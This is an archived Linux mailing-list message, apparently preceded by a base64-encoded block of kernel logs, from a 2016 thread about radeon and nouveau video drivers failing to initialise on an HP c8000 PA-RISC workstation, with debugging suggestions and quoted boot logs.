QU09MTI4TSwgQkFSPTEyOE0KPj4+IFsgICA0Ni40NzYwMDBdIFtkcm1dIFJBTSB3aWR0aCAxMjhi
aXRzIEREUgo+Pj4gWyAgIDQ2LjUyNDAwMF0gW1RUTV0gWm9uZSAga2VybmVsOiBBdmFpbGFibGUg
Z3JhcGhpY3MgbWVtb3J5OiAzMDc3MTg4IGtpQgo+Pj4gWyAgIDQ2LjYwNDAwMF0gW1RUTV0gWm9u
ZSAgIGRtYTMyOiBBdmFpbGFibGUgZ3JhcGhpY3MgbWVtb3J5OiAyMDk3MTUyIGtpQgo+Pj4gWyAg
IDQ2LjY4MDAwMF0gW1RUTV0gSW5pdGlhbGl6aW5nIHBvb2wgYWxsb2NhdG9yCj4+PiBbICAgNDYu
NzMyMDAwXSBbZHJtXSByYWRlb246IDEyOE0gb2YgVlJBTSBtZW1vcnkgcmVhZHkKPj4+IFsgICA0
Ni43OTIwMDBdIFtkcm1dIHJhZGVvbjogNTEyTSBvZiBHVFQgbWVtb3J5IHJlYWR5Lgo+Pj4gWyAg
IDQ2Ljg1MjAwMF0gW2RybV0gcmFkZW9uOiAxIHF1YWQgcGlwZXMsIDEgWiBwaXBlcyBpbml0aWFs
aXplZC4KPj4+IFsgICA0Ni45NDQwMDBdIHJhZGVvbiAwMDAwOjgwOjAwLjA6IFdCIGRpc2FibGVk
Cj4+PiBbICAgNDYuOTk2MDAwXSByYWRlb24gMDAwMDo4MDowMC4wOiBmZW5jZSBkcml2ZXIgb24g
cmluZyAwIHVzZSBncHUKPj4+IGFkZHIgMHgwMDAwMDAwMDYwMDAwMDAwIGFuZCBjcHUgYWRkciAw
eDAwMDAwMDAwMTEyNzkwMDAKPj4+IFsgICA0Ny4xMjQwMDBdIFtkcm1dIFN1cHBvcnRzIHZibGFu
ayB0aW1lc3RhbXAgY2FjaGluZyBSZXYgMiAoMjEuMTAuMjAxMykuCj4+PiBbICAgNDcuMjA0MDAw
XSBbZHJtXSBEcml2ZXIgc3VwcG9ydHMgcHJlY2lzZSB2YmxhbmsgdGltZXN0YW1wIHF1ZXJ5Lgo+
Pj4gWyAgIDQ3LjI3NjAwMF0gW2RybV0gcmFkZW9uOiBpcnEgaW5pdGlhbGl6ZWQuCj4+PiBbICAg
NDcuMzI4MDAwXSBbZHJtXSBMb2FkaW5nIFIzMDAgTWljcm9jb2RlCj4+PiBbICAgNDcuNDY4MDAw
XSByYWRlb24gMDAwMDo4MDowMC4wOiBmaXJtd2FyZTogZGlyZWN0LWxvYWRpbmcgZmlybXdhcmUK
Pj4+IHJhZGVvbi9SMzAwX2NwLmJpbgo+Pj4gWyAgIDQ3LjU4NDAwMF0gW2RybV0gcmFkZW9uOiBy
aW5nIGF0IDB4MDAwMDAwMDA2MDAwMTAwMAo+Pj4gWyAgIDQ3LjgzNjAwMF0gW2RybTpyMTAwX3Jp
bmdfdGVzdCBbcmFkZW9uXV0gKkVSUk9SKiByYWRlb246IHJpbmcgdGVzdAo+Pj4gZmFpbGVkIChz
Y3JhdGNoKDB4MTVFNCk9MHhDQUZFREVBRCkKPj4+IFsgICA0Ny45NDgwMDBdIFtkcm06cjEwMF9j
cF9pbml0IFtyYWRlb25dXSAqRVJST1IqIHJhZGVvbjogY3AgaXNuJ3QKPj4+IHdvcmtpbmcgKC0y
MikuCj4+PiBbICAgNDguMDM2MDAwXSByYWRlb24gMDAwMDo4MDowMC4wOiBmYWlsZWQgaW5pdGlh
bGl6aW5nIENQICgtMjIpLgo+Pj4gWyAgIDQ4LjAzNjAwMF0gcmFkZW9uIDAwMDA6ODA6MDAuMDog
RGlzYWJsaW5nIEdQVSBhY2NlbGVyYXRpb24KPj4+IFsgIE9LICBdIEZvdW5kIGRldmljZSBTVDM3
MzIwN0xXIDIuCj4+PiBbICAgNDguMjM2MDAwXSBbZHJtOnIxMDBfY3BfZmluaSBbcmFkZW9uXV0g
KkVSUk9SKiBXYWl0IGZvciBDUCBpZGxlCj4+PiB0aW1lb3V0LCBzaHV0dGluZyBkb3duIENQLgo+
Pj4gWyAgIDQ4LjM4NDAwMF0gW2RybV0gcmFkZW9uOiBjcCBmaW5hbGl6ZWQKPj4+IFsgICA0OC40
NDgwMDBdIFtkcm1dIHJhZGVvbjogY3AgZmluYWxpemVkCj4+PiBbICAgNDguNDk2MDAwXSBbVFRN
XSBGaW5hbGl6aW5nIHBvb2wgYWxsb2NhdG9yCj4+PiBbICAgNDguNTQ0MDAwXSBbVFRNXSBab25l
ICBrZXJuZWw6IFVzZWQgbWVtb3J5IGF0IGV4aXQ6IDAga2lCCj4+PiBbICAgNDguNjEyMDAwXSBb
VFRNXSBab25lICAgZG1hMzI6IFVzZWQgbWVtb3J5IGF0IGV4aXQ6IDAga2lCCj4+PiBbICAgNDgu
Njc2MDAwXSBbZHJtXSByYWRlb246IHR0bSBmaW5hbGl6ZWQKPj4+IFsgICA0OC43MjQwMDBdIFtk
cm1dIEZvcmNpbmcgQUdQIHRvIFBDSSBtb2RlCj4+PiAgICAgICAgICBTdGFydGluZyBGaWxlIFN5
c3RlbSBDaGVjayBvbiAvZFsgICA0OC44NzIwMDBdIFtkcm1dCj4+PiBHZW5lcmF0aW9uIDIgUENJ
IGludGVyZmFjZSwgdXNpbmcgbWF4IGFjY2Vzc2libGUgbWVtb3J5Cj4+PiBldi8uLi4yLTYzOGIt
NGEwWyAgIDQ4Ljk2ODAwMF0gcmFkZW9uIDAwMDA6ODA6MDAuMDogVlJBTTogMTI4TQo+Pj4gMHhG
RkZGRkZGRkMwMDAwMDAwIC0gMHhGRkZGRkZGRkM3RkZGRkZGICgxMjhNIHVzZWQpCj4+PiBjLWJl
NTUtNzQ0NGUxMjZkWyAgIDQ5LjA4ODAwMF0gcmFkZW9uIDAwMDA6ODA6MDAuMDogR1RUOiA1MTJN
Cj4+PiAweEZGRkZGRkZGQTAwMDAwMDAgLSAweEZGRkZGRkZGQkZGRkZGRkYKPj4+IDI4My4uLgo+
Pj4gWyAgIDQ5LjE5NjAwMF0gW2RybV0gRGV0ZWN0ZWQgVlJBTSBSQU09MTI4TSwgQkFSPTEyOE0K
Pj4+IFsgICA0OS4yNjQwMDBdIFtkcm1dIFJBTSB3aWR0aCAxMjhiaXRzIEREUgo+Pj4gWyAgIDQ5
LjMyODAwMF0gW1RUTV0gWm9uZSAga2VybmVsOiBBdmFpbGFibGUgZ3JhcGhpY3MgbWVtb3J5OiAz
MDc3MTg4IGtpQgo+Pj4gWyAgIDQ5NDEyMDAwXSBbVFRNXSBab25lICAgZG1hMzI6IEF2YWlsYWJs
ZSBncmFwaGljcyBtZW1vcnk6IDIwOTcxNTIga2lCCj4+PiBbICAgNDkuNDkyMDAwXSBbVFRNXSBJ
bml0aWFsaXppbmcgcG9vbCBhbGxvY2F0b3IKPj4+IFsgICA0OS40OTIwMDBdIFtkcm1dIHJhZGVv
bjogMTI4TSBvZiBWUkFNIG1lbW9yeSByZWFkeQo+Pj4gWyAgIDQ5LjQ5MjAwMF0gW2RybV0gcmFk
ZW9uOiA1MTJNIG9mIEdUVCBtZW1vcnkgcmVhZHkuCj4+PiBbICAgNDkuNDkyMDAwXSBbZHJtXSBH
QVJUOiBudW0gY3B1IHBhZ2VzIDEzMTA3MiwgbnVtIGdwdSBwYWdlcyAxMzEwNzIKPj4+IFsgICA0
OS42MzYwMDBdIFtkcm1dIHJhZGVvbjogMSBxdWFkIHBpcGVzLCAxIFogcGlwZXMgaW5pdGlhbGl6
ZWQuCj4+PiBbICAgNDkuNjM2MDAwXSBbZHJtXSBQQ0kgR0FSVCBvZiA1MTJNIGVuYWJsZWQgKHRh
YmxlIGF0IDB4MDAwMDAwMDA0MzMwMDAwMCkuCj4+PiBbICAgNDkuNjM2MDAwXSByYWRlb24gMDAw
MDo4MDowMC4wOiBXQiBlbmFibGVkCj4+PiBbICAgNDkuNjM2MDAwXSByYWRlb24gMDAwMDo4MDow
MC4wOiBmZW5jZSBkcml2ZXIgb24gcmluZyAwIHVzZSBncHUKPj4+IGFkZHIgMHhmZmZmZmZmZmEw
MDAwMDAwIGFuZCBjcHUgYWRkciAweDAwMDAwMDAwN2QyMzkwMDAKPj4+IFsgICA0OS42MzYwMDBd
IFtkcm1dIFN1cHBvcnRzIHZibGFuayB0aW1lc3RhbXAgY2FjaGluZyBSZXYgMiAoMjEuMTAuMjAx
MykuCj4+PiBbICAgNDkuNjM2MDAwXSBbZHJtXSBEcml2ZXIgc3VwcG9ydHMgcHJlY2lzZSB2Ymxh
bmsgdGltZXN0YW1wIHF1ZXJ5Lgo+Pj4gWyAgIDQ5LjYzNjAwMF0gW2RybV0gcmFkZW9uOiBpcnEg
aW5pdGlhbGl6ZWQuCj4+PiBbICAgNDkuNzgwMDAwXSBbZHJtXSByYWRlb246IHJpbmcgYXQgMHhG
RkZGRkZGRkEwMDAxMDAwCj4+PiBbICAgNDkuOTcyMDAwXSBbZHJtOnIxMDBfcmluZ190ZXN0IFty
YWRlb25dXSAqRVJST1IqIHJhZGVvbjogcmluZyB0ZXN0Cj4+PiBmYWlsZWQgKHNjcmF0Y2goMHgx
NUU0KT0weENBRkVERUFEKQo+Pj4gWyAgIDQ5Ljk3NjAwMF0gW2RybTpyMTAwX2NwX2luaXQgW3Jh
ZGVvbl1dICpFUlJPUiogcmFkZW9uOiBjcCBpc24ndAo+Pj4gd29ya2luZyAoLTIyKS4KPj4+IFsg
ICA0OS45NzYwMDBdIHJhZGVvbiAwMDAwOjgwOjAwLjA6IGZhaWxlZCBpbml0aWFsaXppbmcgQ1Ag
KC0yMikuCj4+PiBbICAgNDkuOTc2MDAwXSByYWRlb24gMDAwMDo4MDowMC4wOiBEaXNhYmxpbmcg
R1BVIGFjY2VsZXJhdGlvbgo+Pj4gWyAgIDUwLjE2ODAwMF0gW2RybTpyMTAwX2NwX2ZpbmkgW3Jh
ZGVvbl1dICpFUlJPUiogV2FpdCBmb3IgQ1AgaWRsZQo+Pj4gdGltZW91dCwgc2h1dHRpbmcgZG93
biBDUC4KPj4+IFsgICA1MC4yODAwMDBdIFtkcm1dIHJhZGVvbjogY3AgZmluYWxpemVkCj4+PiBb
ICAgNTAuNTkyMDAwXSBbZHJtXSBSYWRlb24gRGlzcGxheSBDb25uZWN0b3JzCj4+PiBbICAgNTAu
NTkyMDAwXSBbZHJtXSBDb25uZWN0b3IgMDoKPj4+IFsgICA1MC41OTIwMDBdIFtkcm1dICAgVkdB
LTEKPj4+IFsgICA1MC41OTIwMDBdIFtkcm1dICAgRERDOiAweDYwIDB4NjAgMHg2MCAweDYwIDB4
NjAgMHg2MCAweDYwIDB4NjAKPj4+IFsgICA1MC41OTIwMDBdIFtkcm1dICAgRW5jb2RlcnM6Cj4+
PiBbICAgNTAuNTkyMDAwXSBbZHJtXSAgICAgQ1JUMTogSU5URVJOQUxfREFDMQo+Pj4gWyAgIDUw
LjU5MjAwMF0gW2RybV0gQ29ubmVjdG9yIDE6Cj4+PiBbICAgNTAuNTkyMDAwXSBbZHJtXSAgIERW
SS1JLTEKPj4+IFsgICA1MC41OTIwMDBdIFtkcm1dICAgSFBEMQo+Pj4gWyAgIDUwLjU5MjAwMF0g
W2RybV0gICBEREM6IDB4NjQgMHg2NCAweDY0IDB4NjQgMHg2NCAweDY0IDB4NjQgMHg2NAo+Pj4g
WyAgIDUwLjU5MjAwMF0gW2RybV0gICBFbmNvZGVyczoKPj4+IFsgICA1MC41OTIwMDBdIFtkcm1d
ICAgICBDUlQyOiBJTlRFUk5BTF9EQUMyCj4+PiBbICAgNTAuNTkyMDAwXSBbZHJtXSAgICAgREZQ
MTogSU5URVJOQUxfVE1EUzEKPj4+IFsgICA1MC42MDgwMDBdIHJhZGVvbiAwMDAwOjgwOjAwLjA6
IE5vIGNvbm5lY3RvcnMgcmVwb3J0ZWQgY29ubmVjdGVkIHdpdGggbW9kZXMKPj4+IFsgICA1MC42
MDgwMDBdIFtkcm1dIENhbm5vdCBmaW5kIGFueSBjcnRjIG9yIHNpemVzIC0gZ29pbmcgMTAyNHg3
NjgKPj4+IFsgICA1MC44MjgwMDBdIFtkcm1dIGZiIG1hcHBhYmxlIGF0IDB4RkZGRkZGRkZDMDA0
MDAwMAo+Pj4gWyAgIDUwLjgyODAwMF0gW2RybV0gdnJhbSBhcHBlciBhdCAweEZGRkZGRkZGQzAw
MDAwMDAKPj4+IFsgICA1MC44MjgwMDBdIFtkcm1dIHNpemUgMzE0NTcyOAo+Pj4gWyAgIDUwLjgy
ODAwMF0gW2RybV0gZmIgZGVwdGggaXMgMjQKPj4+IFsgICA1MC44MjgwMDBdIFtkcm1dICAgIHBp
dGNoIGlzIDQwOTYKPj4+IFsgICA1MS44NDgwMDBdIENvbnNvbGU6IHN3aXRjaGluZyB0byBjb2xv
dXIgZnJhbWUgYnVmZmVyIGRldmljZSAxMjh4NDgKPj4+IFsgICA1Mi4wODAwMDBdIHJhZGVvbiAw
MDAwOjgwOjAwLjA6IGZiMDogcmFkZW9uZHJtZmIgZnJhbWUgYnVmZmVyIGRldmljZQo+Pj4gWyAg
IDUyMTcyMDAwXSBbZHJtXSBJbml0aWFsaXplZCByYWRlb24gMi40My4wIDIwMDgwNTI4IGZvcgo+
Pj4gMDAwMDo4MDowMC4wIG9uIG1pbm9yIDAKPj4+Cj4+PiBOVklESUEgUVVBRFJPIE1YUgo+Pj4g
WyAgIDUxLjg4MDAwMF0gbm91dmVhdSAwMDAwOjgwOjAwLjA6IGVuYWJsaW5nIFNFUlIgYW5kIFBB
UklUWSAoMDAwNyAtPiAwMTQ3KQo+Pj4gWyAgIDUyLjA0NDAwMF0gbm91dmVhdSAwMDAwOjgwOjAw
LjA6IE5WSURJQSBOVjExICgwMTEzMDBhMSkKPj4+IFsgICA1Mi4zNjQwMDBdIG5vdXZlYXUgMDAw
MDo4MDowMC4wOiBiaW9zOiB2ZXJzaW9uIDAzLjExLjAxLjI0LjAwCj4+PiBbICAgNTIuNDg4MDAw
XSBub3V2ZWF1IDAwMDA6ODA6MDAuMDogcHV0dGluZyBBR1AgVjIgZGV2aWNlIGludG8gNHggbW9k
ZQo+Pj4gWyAgIDUyLjU5MjAwMF0gbm91dmVhdSAwMDAwOjgwOjAwLjA6IHB1dHRpbmcgQUdQIFYy
IGRldmljZSBpbnRvIDR4IG1vZGUKPj4+IFsgICA1Mi42NjgwMDBdIG5vdXZlYXUgMDAwMDo4MDow
MC4wOiB0bXI6IHVua25vd24gaW5wdXQgY2xvY2sgZnJlcQo+Pj4gWyAgIDUyLjc0MDAwMF0gbm91
dmVhdSAwMDAwOjgwOjAwLjA6IGZiOiAzMiBNaUIgU0RSQU0KPj4+IFsgICA1Mi44NDQwMDBdIFtU
VE1dIFpvbmUgIGtlcm5lbDogQXZhaWxhYmxlIGdyYXBoaWNzIG1lbW9yeTogMzA3NzE4OCBraUIK
Pj4+IFsgICA1Mi45MjAwMDBdIFtUVE1dIFpvbmUgICBkbWEzMjogQXZhaWxhYmxlIGdyYXBoaWNz
IG1lbW9yeTogMjA5NzE1MiBraUIKPj4+IFsgICA1Mi45MjAwMDBdIFtUVE1dIEluaXRpYWxpemlu
ZyBwb29sIGFsbG9jYXRvcgo+Pj4gWyAgIDUyLjkyODAwMF0gbm91dmVhdSAwMDAwOjgwOjAwLjA6
IERSTTogVlJBTTogMzEgTWlCCj4+PiBbICAgNTIuOTI4MDAwXSBub3V2ZWF1IDAwMDA6ODA6MDAu
MDogRFJNOiBHQVJUOiA1MTIgTWlCCj4+PiBbICAgNTIuOTI4MDAwXSBub3V2ZWF1IDAwMDA6ODA6
MDAuMDogRFJNOiBCTVAgdmVyc2lvbiA1LjIwCj4+PiBbICAgNTIuOTI4MDAwXSBub3V2ZWF1IDAw
MDA6ODA6MDAuMDogRFJNOiBObyB1c2VmdWwgRENCIGRhdGEgaW4gVkJJT1MKPj4+IFsgICA1Mi45
MjgwMDBdIG5vdXZlYXUgMDAwMDo4MDowMC4wOiBEUk06IEFkYXB0b3Igbm90IGluaXRpYWxpc2Vk
LAo+Pj4gcnVubmluZyBWQklPUyBpbml0IHRhYmxlcy4KPj4+IFsgICA1My4wMTYwMDBdIG5vdXZl
YXUgMDAwMDo4MDowMC4wOiBEUk06IFNhdmluZyBWR0EgZm9udHMKPj4+IFsgICA1My4zMzYwMDBd
IG5vdXZlYXUgMDAwMDo4MDowMC4wOiBEUk06IE5vIHVzZWZ1bCBEQ0IgZGF0YSBpbiBWQklPUwo+
Pj4gWyAgIDUzLjMzNjAwMF0gW2RybV0gU3VwcG9ydHMgdmJsYW5rIHRpbWVzdGFtcCBjYWNoaW5n
IFJldiAyICgyMS4xMC4yMDEzKS4KPj4+IFsgICA1My4zMzYwMDBdIFtkcm1dIERyaXZlciBzdXBw
b3J0cyBwcmVjaXNlIHZibGFuayB0aW1lc3RhbXAgcXVlcnkuCj4+PiBbICAgNTMuMzM2MDAwXSBu
b3V2ZWF1IDAwMDA6ODA6MDAuMDogRFJNOiAweEFCQTI6IFBhcnNpbmcgZGlnaXRhbAo+Pj4gb3V0
cHV0IHNjcmlwdCB0YWJsZQo+Pj4gWyAgIDUzLjkyMDAwMF0gbm91dmVhdSAwMDAwOjgwOjAwLjA6
IERSTTogTU06IHVzaW5nIE0yTUYgZm9yIGJ1ZmZlciBjb3BpZXMKPj4+IFsgICA1NC4xNDQwMDBd
IG5vdXZlYXUgMDAwMDo4MDowMC4wOiBEUk06IGFsbG9jYXRlZCAxOTIweDEyMDAgZmI6Cj4+PiAw
eDgwMDAsIGJvIDAwMDAwMDAwN2NlZTEwMDAKPj4+IFsgICA1NC4yNzYwMDBdIG5vdXZlYXUgMDAw
MDo4MDowMC4wOiBEUk06IDB4QUJDRTogUGFyc2luZyBkaWdpdGFsCj4+PiBvdXRwdXQgc2NyaXB0
IHRhYmxlCj4+PiBbICAgNTQuMzEyMDAwXSBDb25zb2xlOiBzd2l0Y2hpbmcgdG8gY29sb3VyIGZy
YW1lIGJ1ZmZlciBkZXZpY2UgMjQweDc1Cj4+PiBbICAgNTQuMzg4MDAwXSBub3V2ZWF1IDAwMDA6
ODA6MDAuMDogRFJNOiBHUFUgbG9ja3VwIC0gc3dpdGNoaW5nIHRvCj4+PiBzb2Z0d2FyZSBmYmNv
bgo+Pj4gWyAgIDU0LjY4NDAwMF0gbm91dmVhdSAwMDAwOjgwOjAwLjA6IGZiMDogbm91dmVhdWZi
IGZyYW1lIGJ1ZmZlciBkZXZpY2UKPj4+IFsgICA1NC43ODQwMDBdIFtkcm1dIEluaXRpYWxpemVk
IG5vdXZlYXUgMS4zLjEgMjAxMjA4MDEgZm9yCj4+PiAwMDAwOjgwOjAwLjAgb24gbWlub3IgMAo+
Pj4gX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KPj4+IE5v
dXZlYXUgbWFpbGluZyBsaXN0Cj4+PiBOb3V2ZWF1QGxpc3RzLmZyZWVkZXNrdG9wLm9yZwo+Pj4g
aHR0cHM6Ly9saXN0cy5mcmVlZGVza3RvcC5vcmcvbWFpbG1hbi9saXN0aW5mby9ub3V2ZWF1Cl9f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCk5vdXZlYXUgbWFp
bGluZyBsaXN0Ck5vdXZlYXVAbGlzdHMuZnJlZWRlc2t0b3Aub3JnCmh0dHBzOi8vbGlzdHMuZnJl
ZWRlc2t0b3Aub3JnL21haWxtYW4vbGlzdGluZm8vbm91dmVhdQo=


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.freedesktop.xorg.nouveau
Subject: Re: [Nouveau] PA-RISC (hppa) video cards init failure loading the device driver kernel module
Date: Mon, 4 Apr 2016 19:05:25 -0400
Lines: 308
Approved: news@gmane.org
Message-ID: <C805689B-0DCD-420F-9719-3F82B239E9BC@bell.net>
References: <CACrbsaA0RzGtVQD5GH5eMZk-0c1J0AF_nZFWQpGzVYMs-xCE2g@mail.gmail.com> <CAKb7Uvh-DZC4RakBd-F-Gxh45_jFEE+vF89DXou5MLb7qg3Jqw@mail.gmail.com> <CACrbsaC67nqia4C3xOQ0SshkyPQb5DuRuuXq1Zsez1pxezp5nw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1459811162 7198 80.91.229.3 (4 Apr 2016 23:06:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Apr 2016 23:06:02 +0000 (UTC)
Cc: Ilia Mirkin <imirkin@alum.mit.edu>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"nouveau@lists.freedesktop.org" <nouveau@lists.freedesktop.org>,
	Paolo Gai <pj@evidence.eu.com>,
	Graham Gower <graham.gower@gmail.com>,
	Gianni Bianchini <giannibi@dii.unisi.it>,
	Helge Deller <deller@gmx.de>,
	Riccardo Schiavi <r.schiavi@evidence.eu.com>,
	Daniele Mazzi <daniele.mazzi@gmail.com>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 01:05:43 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anDZ0-0000Fr-Pe
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 01:05:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756603AbcDDXFb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Apr 2016 19:05:31 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:7557 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752497AbcDDXF3 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Apr 2016 19:05:29 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20160404230528.HOPU16596.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 4 Apr 2016 19:05:28 -0400
Original-Received: from [192.168.2.10] (really [184.144.122.130])
          by mtlspm01.bell.net with ESMTP
          id <20160404230526.YCDG17299.mtlspm01.bell.net@[192.168.2.10]>;
          Mon, 4 Apr 2016 19:05:26 -0400
In-Reply-To: <CACrbsaC67nqia4C3xOQ0SshkyPQb5DuRuuXq1Zsez1pxezp5nw@mail.gmail.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.5702F338.0014,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26581 gmane.comp.freedesktop.xorg.nouveau:24355
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26581>

There is a TLB U bit which when set prevents cache move in.  This should be set for
pages which map to the I/O space.  I think it should be checked that it is correctly being
set for these cards.

On 2016-04-03, at 11:56 PM, Simone Mannori wrote:

> Dear Ilia,
> 
> this page summarize all the possible options of the "nouveau" kernel module:
> 
> https://nouveau.freedesktop.org/wiki/KernelModuleParameters/
> 
> I will test the options that you have suggested as soon as possible.
> 
> Try a PCI video card is a very good advice because the
> AGP/FX1(chipset) is on the top of the "usual suspects" list;
> unfortunately the c8000 has 3.3 PCI slots and all the (very old) PCI
> video cards in my hands have 5V PCI connector
> 
> Many thanks for your suggestions and advice.
> 
>   Simone Mannori - Italy
> 
> 
> On 4 April 2016 at 04:18, Ilia Mirkin <imirkin@alum.mit.edu> wrote:
>> Not sure about the radeon issue, but
>> 
>> "DRM: GPU lockup - switching to software fbcon"
>> 
>> basically means "the CPU isn't able to submit commands, or the GPU
>> isn't executing the commands". Basically the GPU can only have so many
>> commands outstanding [well, command buffers], and we hit that limit.
>> From what I understand, PA-RISC has a "funny" architecture that is
>> very unlike x86 in terms of memory coherency, and is thus more likely
>> to hit issues that don't exist on other architectures. Perhaps you can
>> summarize the key points of oddness? Perhaps there's some debug
>> "disable caches" mode or something? Also note that nouveau won't work
>> well on an architecture with a non-4K page size. Not sure if that's
>> the situation for you.
>> 
>> I see that it's using AGP - there's a high chance that something
>> AGP-related is broken - try booting with nouveau.config=NvAGP=0 (or
>> nouveau.agpmode=0 for pre-4.3 kernels).
>> 
>> Perhaps it has issues DMA'ing the command buffer from system memory,
>> we can try forcing the pushbuf to be in vram - boot with
>> nouveau.vram_pushbuf=1 .
>> 
>> If there are PCI slots and you have a PCI video card handy, I'd
>> definitely try that too.
>> 
>> Good luck,
>> 
>>  -ilia
>> 
>> On Sun, Apr 3, 2016 at 3:51 AM, Simone Mannori <simone.mannori@gmail.com> wrote:
>>> Dear "nouveau" developers,
>>> 
>>> I know that many very competent guys have already spent a lot of time
>>> and efforts on this issue without success. I have started to play with
>>> "hppa" two weeks ago and, with the support of the linux-parisc mailing
>>> list people, now I have a - almost fully - working workstation (hp
>>> c8000).
>>> 
>>> Everythings work perfectly BUT the video card. No matter the model,
>>> type, driver, etc. the results are always the same: a very slow frame
>>> buffer mode only.
>>> 
>>> I'm forwarding the results of my investigations with the hope that
>>> someone of you will help me to find the right path to fix this issue.
>>> 
>>> Thanks in advance for your help.
>>> 
>>>  Simone Mannori - Italy
>>> 
>>> //**------------------------------------------------------------------------------------------------------------
>>> 
>>> ---------- Forwarded message ----------
>>> From: Simone Mannori <simone.mannori@gmail.com>
>>> Date: 3 April 2016 at 09:34
>>> Subject: Video cards init failure loading the device driver kernel module
>>> To: John David Anglin <dave.anglin@bell.net>
>>> Cc: Helge Deller <deller@gmx.de>, Graham Gower
>>> <graham.gower@gmail.com>, linux-parisc <linux-parisc@vger.kernel.org>
>>> 
>>> 
>>> Dear All,
>>> 
>>> following you suggestions, now I have an - almost - perfectly working
>>> hp c8000 workstation.
>>> 
>>> Mission accomplished? Not exactly: despite a lot of efforts, the video
>>> card section is still not fully operative. Let me resume the
>>> situation.
>>> 
>>> I'm using a c8000 with two PA-8800 and Debian 8.0, kernel:
>>> 
>>> Linux version 4.4.0-1-parisc64-smp (debian-kernel@lists.debian.org)
>>> (gcc version 4.9.3 (GCC) ) #1 SMP Debian 4.4.6-1 (2016-03-17)
>>> 
>>> I have two very different AGP video cards (ATI FireGL T2 and NVIDIA
>>> QUADRO MXR) that have the same issue, despite the two complety
>>> different drivers ("radeon" and "nouveau"). The full logs are in
>>> bottom of this post. Just to make a long history short:
>>> 
>>> ATI FIRE GL T2 ("radeon")
>>> [   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>>> failed (scratch(0x15E4)=0xCAFEDEAD)
>>> [   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>>> working (-22).
>>> [   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
>>> [   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration
>>> 
>>> NVIDIA QUADRO MXR ("nouveau")
>>> [   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
>>> software fbcon
>>> [   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
>>> [   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
>>> 0000:80:00.0 on minor 0
>>> 
>>> Looking inside the posts on many developers mailing lists, I see that
>>> most of the efforts have been focused on the video device drivers init
>>> code. I have tried to force the video drivers using the "modeset"
>>> parameter without success. I have tried also to boot without video
>>> driver, then load it manually using "modprobe". No way: the results
>>> are the same.
>>> 
>>> "lsmod" tell me that "radeon"/"nouveau" are used by the "ttm" module
>>> and they cannot be removed (despite the "- r --force" modprobe
>>> parameters).
>>> 
>>> Let suppose for a moment that the issue is NOT inside the video driver
>>> but in the "ttm" module: something is not fully correct in the
>>> initialization of the ZX1 chipset, therefore the video driver code go
>>> crazy because cannot match the video card with the chipset.
>>> 
>>> The only way that I know to investigate this issue is to recompile the
>>> kernel with debug support and execute "single step"/breakpoint the
>>> code that initialize the video card and the chipset near the zone of
>>> the error message.
>>> 
>>> Question: "What are the deb packages that I need to install to
>>> recompile the  4.4.0-1-parisc64-smp kernel (or another kernel version
>>> suitable for this investigation) ?
>>> 
>>> Thanks in advance for you help
>>> 
>>>   Simone Mannori - Italy
>>> 
>>> //**-----------------------------------------------------------------------------------------------------------------
>>> 
>>> ATI FIRE GL T2
>>> [   45.460000] [drm] radeon kernel modesetting enabled.
>>> [   45.576000] radeon 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
>>> [   45.660000] [drm] initializing kernel modesetting (RV350
>>> 0x1002:0x4154 0x1002:0x0002).
>>> [   45.812000] [drm] register mmio base: 0xC8020000
>>> [   45.868000] [drm] register mmio size: 65536
>>> [   46.084000] radeon 0000:80:00.0: putting AGP V3 device into 8x mode
>>> [   46.160000] radeon 0000:80:00.0: GTT: 512M 0x60000000 - 0x7FFFFFFF
>>> [   46.236000] [drm] Generation 2 PCI interface, using max accessible memory
>>> [   46.316000] radeon 0000:80:00.0: VRAM: 128M 0xFFFFFFFFC0000000 -
